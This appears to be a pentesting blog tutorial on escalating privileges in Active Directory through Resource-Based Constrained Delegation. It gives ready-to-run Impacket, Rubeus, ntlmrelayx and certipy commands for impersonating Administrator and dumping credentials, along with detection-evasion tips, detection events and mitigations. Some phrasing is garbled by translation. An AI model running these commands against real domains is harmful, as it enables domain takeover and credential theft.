windows

RBCD Attack : Resource-Based Constrained Delegation PrivEsc

RBCD Attack : Resource-Based Constrained Delegation PrivEsc

RBCD leverages write access on msDS-AllowedToActOnBehalfOfOtherIdentity for privilege escalation on active directory. Drive with Impacket, Rubeus and NTLM relay.

  • Posted on 2026-07-12
  • Reading time: 8 min

Resource-Based Constrained Delegation: From GenericWrite to Domain Admin #

RBCD uses write access on the attribute msDS-AllowedToActOnBehalfOfOtherIdentity of a target computer. Enter the SID of an account you control, then use S4U2Self + S4U2Proxy to get a TGS as Administrator on that computer—without touching krbtgt, without direct DCSync.


Resource-Based Constrained Delegation (RBCD) was introduced in Windows Server 2012 R2 and allows a computer to declare which accounts can authenticate on its behalf. The attribute that controls this behavior— msDS-AllowedToActOnBehalfOfOtherIdentity —it can be written by anyone who has GenericWrite, GenericAll o WriteProperty on the target computer object.

In an engagement, this translates to: you have write access to FILESERVER$ via a misconfigured ACL → you create (or use) a computer account → you write its SID in the target attribute → you use S4U to get a ticket as Administrator on FILESERVERThe Domain Controller performs the delegation as if it were legitimate, because the policy is written directly to the destination object.

Key Takeaway: RBCD transforms write access to a computer object into running code as Administrator on that machine. This is one of the most common and productive ACL abuses in Active Directory.

Classified by MITRE ATT&CK as T1134.001.

Flow RBCD: GenericWrite, machine account, write attribute, S4U, TGS as Administrator


How it works #

The Kerberos Service for User (S4U) mechanism has two extensions:

  • S4U2Self: An account with an SPN can request a TGS for itself by impersonating any user—even without knowing the user's password. The DC allows this because the account is making the request "for itself," not asking to authenticate as someone else. The ticket you receive has the Administrator client, but is marked "forwardable" only if the DC deems the calling account eligible for delegation.
  • S4U2Proxy: that forwardable ticket can be exchanged with the KDC for a second TGS, this time to a third party service (e.g. cifs/TARGET). This is where delegation comes into play: the KDC checks whether the calling account is authorized to delegate to that service. In classic constrained delegation, this check looks at msDS-AllowedToDelegateTo on the source account; with RBCD look msDS-AllowedToActOnBehalfOfOtherIdentity on target

With RBCD it is the target computer to declare “I trust FAKE$, it can act on my behalf”. When FAKE$ runs S4U2Self to get a ticket as Administrator, and then S4U2Proxy to the target, the DC considers it legitimate because the delegation policy is written in the target's attribute itself — no need to touch the source account.

S4U2Self requires that the account running it have at least one SPN registered—that's why you need a machine account or a service account, not a regular user without an SPN. And RBCD is configured exclusively on objects. computer: the attribute msDS-AllowedToActOnBehalfOfOtherIdentity It does not exist on users.

Attack flow:

text
Write access su msDS-AllowedToActOnBehalfOfOtherIdentity del target
    ↓
Crea o usa un account con SPN sotto il tuo controllo (FAKE$)
    ↓
Scrivi il SID di FAKE$ nell'attributo del target
    ↓
S4U2Self: FAKE$ ottiene un TGS impersonando Administrator
    ↓
S4U2Proxy: scambia quel TGS per un TGS verso cifs/TARGET
    ↓
Accesso al target come Administrator

Prerequisites #

  • Write access on msDS-AllowedToActOnBehalfOfOtherIdentity of the target computer — verifiable via blood hound looking for the edge AllowedToAct (in addition to the classics GenericWrite, GenericAll, WriteProperty (towards computer objects)
  • An account with an SPN under your control. The easiest way: create a machine account — by default, each domain user can create up to 10, controlled by MachineAccountQuota (MAQ)
  • DC Windows Server 2012 R2 or higher
  • The user to impersonate must exist and not be in the group Protected Users or marked “Account is sensitive and cannot be delegated”

Step 1 — Create (or Use) an Account with SPN #

Check first how many computer accounts you can create:

bash
nxc ldap <DC_IP> -u utente -p Password123! -M maq

Create the fake machine account:

bash
# Linux — Impacket
impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ssword123!' \
  -dc-ip <DC_IP> 'hackita.local/utente:Password123!'
powershell
# Windows — PowerMad
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FAKE01 -Password (ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force)

If you already have an account with SPN under control (existing service account, computer account), you can skip this step and use it directly.


Step 2 — Write FAKE01$ in the Target Attribute #

Before writing, check whether the target already has a proxy configured — if you overwrite it without saving it, you won't know what to restore at the end of the engagement:

bash
impacket-rbcd -delegate-to 'TARGET$' -dc-ip <DC_IP> -action read 'hackita.local/utente:Password123!'

If the read returns anything, save the output before proceeding. Then type:

bash
# Impacket — configura RBCD: TARGET$ si fida di FAKE01$
impacket-rbcd -delegate-from 'FAKE01$' -delegate-to 'TARGET$' \
  -dc-ip <DC_IP> -action write 'hackita.local/utente:Password123!'
powershell
# PowerView
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-XXXXXXXXXX-SID-OF-FAKE01)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-ADComputer TARGET | Set-ADComputer -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes}

# Verifica
Get-ADComputer TARGET -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

Step 3 — S4U Attack for the Ticket as Administrator #

With Rubeus (Windows) #

powershell
# Calcola l'hash di FAKE01$
Rubeus.exe hash /password:P@ssword123! /user:FAKE01$ /domain:hackita.local

# S4U2Self + S4U2Proxy — TGS come Administrator su TARGET
Rubeus.exe s4u /user:FAKE01$ /rc4:<NTLM_HASH_FAKE01> /impersonateuser:Administrator \
  /msdsspn:cifs/TARGET.hackita.local /domain:hackita.local /ptt

With AES256 (preferred, less noise):

powershell
Rubeus.exe s4u /user:FAKE01$ /aes256:<AES256_FAKE01> /impersonateuser:Administrator \
  /msdsspn:cifs/TARGET.hackita.local /domain:hackita.local /ptt

Tickets for multiple services at once:

powershell
Rubeus.exe s4u /user:FAKE01$ /rc4:<HASH> /impersonateuser:Administrator \
  /msdsspn:cifs/TARGET.hackita.local /altservice:krbtgt,cifs,host,http,winrm,ldap \
  /domain:hackita.local /ptt

With Impacket (Linux) #

bash
impacket-getST -spn cifs/TARGET.hackita.local -impersonate Administrator \
  -dc-ip <DC_IP> 'hackita.local/FAKE01$:P@ssword123!'

export KRB5CCNAME=Administrator@cifs_TARGET.hackita.local@CORP.LOCAL.ccache

impacket-psexec -k -no-pass hackita.local/Administrator@TARGET.hackita.local
impacket-secretsdump -k -no-pass hackita.local/Administrator@TARGET.hackita.local

Step 4 — Access and Post-Exploitation #

powershell
dir \\TARGET.hackita.local\C$
dir \\TARGET.hackita.local\ADMIN$
.\PsExec.exe \\TARGET.hackita.local cmd.exe

From there you can proceed with credential dumping on the target machine and continue the lateral movement.


Alternative Carrier: NTLM Relay → Automatic RBCD #

Without direct write access, but with the ability to force NTLM authentication, ntlmrelayx configure RBCD automatically with --delegate-access: Creates fake computer account and writes attribute in one command.

Prerequisites: LDAP signing not required on the DC (default on Server 2022 and earlier), MAQ > 0.

  • LDAP signing required → relay to simple LDAP fails
  • LDAPS without channel binding (EPA disabled) → relaying remains possible even with signing active, because it passes through LDAPS instead of clear LDAP
bash
# Relay verso LDAPS del DC
impacket-ntlmrelayx -t ldaps://<DC_IP> -smb2support --delegate-access \
  --no-dump --no-da --no-acl --no-validate-privs

# Coercizione (PetitPotam, PrintSpooler, Responder, WebDAV)
# Al momento dell'autenticazione, ntlmrelayx crea un computer account random
# (es. KQCLXPVT$) e configura RBCD sul target automaticamente

# Ticket come Administrator con l'account creato
impacket-getST -spn cifs/TARGET.hackita.local -impersonate Administrator \
  -dc-ip <DC_IP> 'hackita.local/KQCLXPVT$:<password_generata>'

export KRB5CCNAME=Administrator@cifs_TARGET.hackita.local@CORP.LOCAL.ccache
impacket-psexec -k -no-pass hackita.local/Administrator@TARGET.hackita.local

Particularly effective with coercion via WebDAV (WebClient active on the target), because it forces a relayed HTTP authentication to LDAPS without having to bypass SMB signing.


RBCD on a Domain Controller → DCSync #

Direct write access to a DC's account computer is rare; in practice, the standard method is through ADCS. If the DC has a vulnerable HTTP enrollment template, the relay to the certificate endpoint opens an LDAP shell with which to configure RBCD directly on the DC:

bash
# Relay dell'autenticazione coercita verso l'endpoint ADCS del DC
certipy relay -ca CA-IP -template DomainController

# Nella shell LDAP ottenuta, configura RBCD sul DC
set_rbcd DC01$ FAKE01$

After setup, the flow is identical to the standard one:

bash
impacket-getST -spn cifs/DC01.hackita.local -impersonate Administrator \
  -dc-ip <DC_IP> 'hackita.local/FAKE01$:P@ssword123!'

export KRB5CCNAME=Administrator@cifs_DC01.hackita.local@CORP.LOCAL.ccache

impacket-secretsdump -k -no-pass hackita.local/Administrator@DC01.hackita.local

If you already have direct write access to the DC's computer object (rare, but it happens with legacy ACLs):

bash
impacket-rbcd -delegate-from 'FAKE01$' -delegate-to 'DC01$' \
  -dc-ip <DC_IP> -action write 'hackita.local/utente:Password123!'

Then DCSync as above.


RBCD Chaining — Double Hop Without Direct Access #

If you have compromised ServiceA and you want to get to ServiceC, but ServiceB (the intermediary) can delegate to ServiceC Without protocol transition, you can concatenate two RBCDs:

  1. Configure RBCD from ServiceA to ServiceB
  2. Do a full S4U and get a forwardable service ticket as Administrator to ServiceB
  3. Reuse that forwardable ticket to do S4U2Proxy from ServiceB to ServiceC — since the ticket is not tied to the service, you can change its SPN (e.g. from time/ServiceC a cifs/ServiceC)

Useful when you have GenericWrite only on an intermediate node in the delegation chain and not on the final target.


RBCD Cross-Domain / Cross-Forest #

RBCD also works through a trust: a computer in one domain/forest can trust an account in a different domain, as long as the trust allows it. The S4U2Self/S4U2Proxy mechanism remains the same, but the following must be taken into account:

  • The delegating account's SID must be resolvable through the trust (no SID filtering blocking it)
  • The intermediate TGS traverses the trust — proper Kerberos referrals are needed between the two domains

This is an advanced scenario, typical of multi-forest environments with poorly configured two-way trusts — Impacket has a dedicated branch (cross_forest_rbcd) to manage these referrals automatically.


If MachineAccountQuota = 0 #

If you cannot create a computer account as a regular user, you still have four alternatives:

  1. Use a compromised computer account including delegate-from, if you have the credentials
  2. Add an SPN to an existing account on which you have GenericWrite, and use it as the source of the delegation
  3. RBCD from an SPN-less account — even a user without an SPN can be used as delegate-from in some scenarios (useful when there is no ADCS with HTTP endpoints and Shadow Credentials is not applicable, e.g. low domain functional level)
  4. Shadow Credentials instead of RBCD — with GenericWrite you can write about a user msDS-KeyCredentialLink and get the NT hash via PKINIT, without needing MAQ:
bash
certipy shadow auto -u attacker@hackita.local -p Pass -account targetuser -dc-ip <DC_IP>

Common Mistakes #

ErrorMeaning
KDC_ERR_BADOPTIONnon-delegable user to impersonate (Protected Users or “sensitive and cannot be delegated”)
KRB_AP_ERR_MODIFIEDSPN incorrect or not corresponding to the one registered on the target
STATUS_ACCESS_DENIEDTicket received correctly but service/port not correct on target
INSUFF_ACCESS_RIGHTSyou really don't have GenericWrite/GenericAll on the target computer — verify the ACL with BloodHound before trying again

Cheat sheet #

StepCommand
MAQ Verificationnxc ldap <DC> -u user -p Pass -M maq
Create computer account (Linux)impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ss123!' -dc-ip <DC> 'hackita.local/user:Pass'
Create computer account (Windows)New-MachineAccount -MachineAccount FAKE01 -Password (ConvertTo-SecureString 'P@ss123!' -AsPlainText -Force)
Configure RBCD (Linux)impacket-rbcd -delegate-from 'FAKE01$' -delegate-to 'TARGET$' -dc-ip <DC> -action write 'hackita.local/user:Pass'
Configure RBCD (PowerView)Set-ADComputer TARGET -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes}
S4U → ticket as Administratorimpacket-getST -spn cifs/TARGET.hackita.local -impersonate Administrator -dc-ip <DC> 'hackita.local/FAKE01$:P@ss123!'
S4U with RubeusRubeus.exe s4u /user:FAKE01$ /rc4:<HASH> /impersonateuser:Administrator /msdsspn:cifs/TARGET.hackita.local /ptt
Use the ticketexport KRB5CCNAME=Administrator@cifs_TARGET.hackita.local@CORP.LOCAL.ccache
Run as Administratorimpacket-psexec -k -no-pass hackita.local/Administrator@TARGET.hackita.local
Check RBCD configuredimpacket-rbcd -delegate-to 'TARGET$' -dc-ip <DC> -action read 'hackita.local/user:Pass'
RBCD Cleanupimpacket-rbcd -delegate-to 'TARGET$' -dc-ip <DC> -action flush 'hackita.local/user:Pass'
RBCD on DC → DCSyncimpacket-rbcd -delegate-from 'FAKE01$' -delegate-to 'DC01$' -dc-ip <DC> -action write 'hackita.local/user:Pass'
ADCS Relay → RBCD on DCcertipy relay -ca CA-IP -template DomainController
Shadow Credentials (alternative)certipy shadow auto -u attacker@hackita.local -p Pass -account targetuser -dc-ip <DC>

Alternative tools: in addition to Impacket and Rubeus, RBCD can also be configured with NetExec (nxc ldap <DC> -M rbcd) to BloodyAD (bloodyAD --host <DC> -u user -p Pass set object TARGET$ msDS-AllowedToActOnBehalfOfOtherIdentity -v FAKE01$).


OPSEC #

  • You prefer AES256 a RC4 for the S4U attack — fewer anomalies in modern environments
  • The computer account created (FAKE01$) remains in AD after the attack — remove it at the end of the engagement to avoid leaving artifacts
  • msDS-AllowedToActOnBehalfOfOtherIdentity modified is the main signal — restores the original attribute with -action flush
  • Attention: flush remove all the ACEs in the attribute, not just the one you added. If the target already had a pre-existing legitimate delegation, flush deletes it along with yours — hence the importance of the -action read done first in Step 2
  • Users in Protected Users or with “Account is sensitive and cannot be delegated” are not impersonable via S4U — choose the impersonation target accordingly
  • Avoid names like FAKE01$ for the computer account — a naming consistent with the domain convention (e.g. similar to existing workstations/servers) attracts less attention in a manual review

Real Scenario #

BloodHound shows that your compromised account has GenericWrite su FILESERVER$You don't have direct access to the file server but want to get there:

  1. Please check that MachineAccountQuota > 0 (default: 10)
  2. Creations FAKE01$ with impacket-addcomputer
  3. Write the SID of FAKE01$ in msDS-AllowedToActOnBehalfOfOtherIdentity di FILESERVER$
  4. Run S4U with impacket-getST impersonating Administrator
  5. Log in to \\FILESERVER\C$ as Administrator
  6. Remove FAKE01$ and restore the attribute

The entire flow requires only the credentials of a normal domain user — no elevated privileges, no access to the DC.


Detection #

🔴 HIGH:

  • Event ID 5136 — edit to msDS-AllowedToActOnBehalfOfOtherIdentity on a computer object (requires Directory Service Changes auditing)
  • Event ID 4741 — creating a new computer account, especially from non-administrative accounts

🟡 MEDIUM:

  • Event ID 4769 — anomalous S4U2Self/S4U2Proxy requests (tickets for a user other than the requester)
  • Computer accounts created by normal users (outlier than baseline)
  • Changes to msDS-AllowedToActOnBehalfOfOtherIdentity followed shortly by S4U authentications

Mitigation #

  • Setting up MachineAccountQuota at 0 (ms-DS-MachineAccountQuota on the domain) — prevents normal users from creating computer accounts
  • Enable auditing Directory Service Changes to detect changes to msDS-AllowedToActOnBehalfOfOtherIdentity
  • Add privileged accounts to the Protected Users Security Group — not delegable via S4U
  • Flag sensitive accounts with “Account is sensitive and cannot be delegated” in ADUC
  • Review with blood hound all edges GenericWrite/GenericAll towards computer objects and eliminate them where not needed

FAQ #

Do I have to create a computer account? No. If you already have an account with an SPN (service account, existing computer account), you can use it directly. A new computer account is only needed if you don't already have one.

Does a MachineAccountQuota of 0 completely block the attack? It only blocks the "create a fake computer account" vector. With an account with an SPN already in hand, or a compromised service account, the attack remains possible.

Does the impersonated user have to exist? Yes, unlike the Silver Ticket. S4U2Self requires that the account to be impersonated exists in the domain and does not have “Account is sensitive and cannot be delegated” enabled.


Conclusion #

RBCD is one of the most effective ACL abuses in Active Directory because it turns a seemingly harmless permission — GenericWrite on a computer object — running code as Administrator on that machine. In enterprise environments with unreviewed legacy delegations, this path is extremely common.

The defense requires three things in parallel: MachineAccountQuota to 0, auditing on msDS-AllowedToActOnBehalfOfOtherIdentity, and a systematic review of edge ACLs using blood hound to eliminate the GenericWrite unjustified on computer objects.


Connect to #

External resources:

#rbcd #msds-allowedtoactonbehalfofotheridentity #s4u2proxy #s4u2self

leave a message

I'm not a robot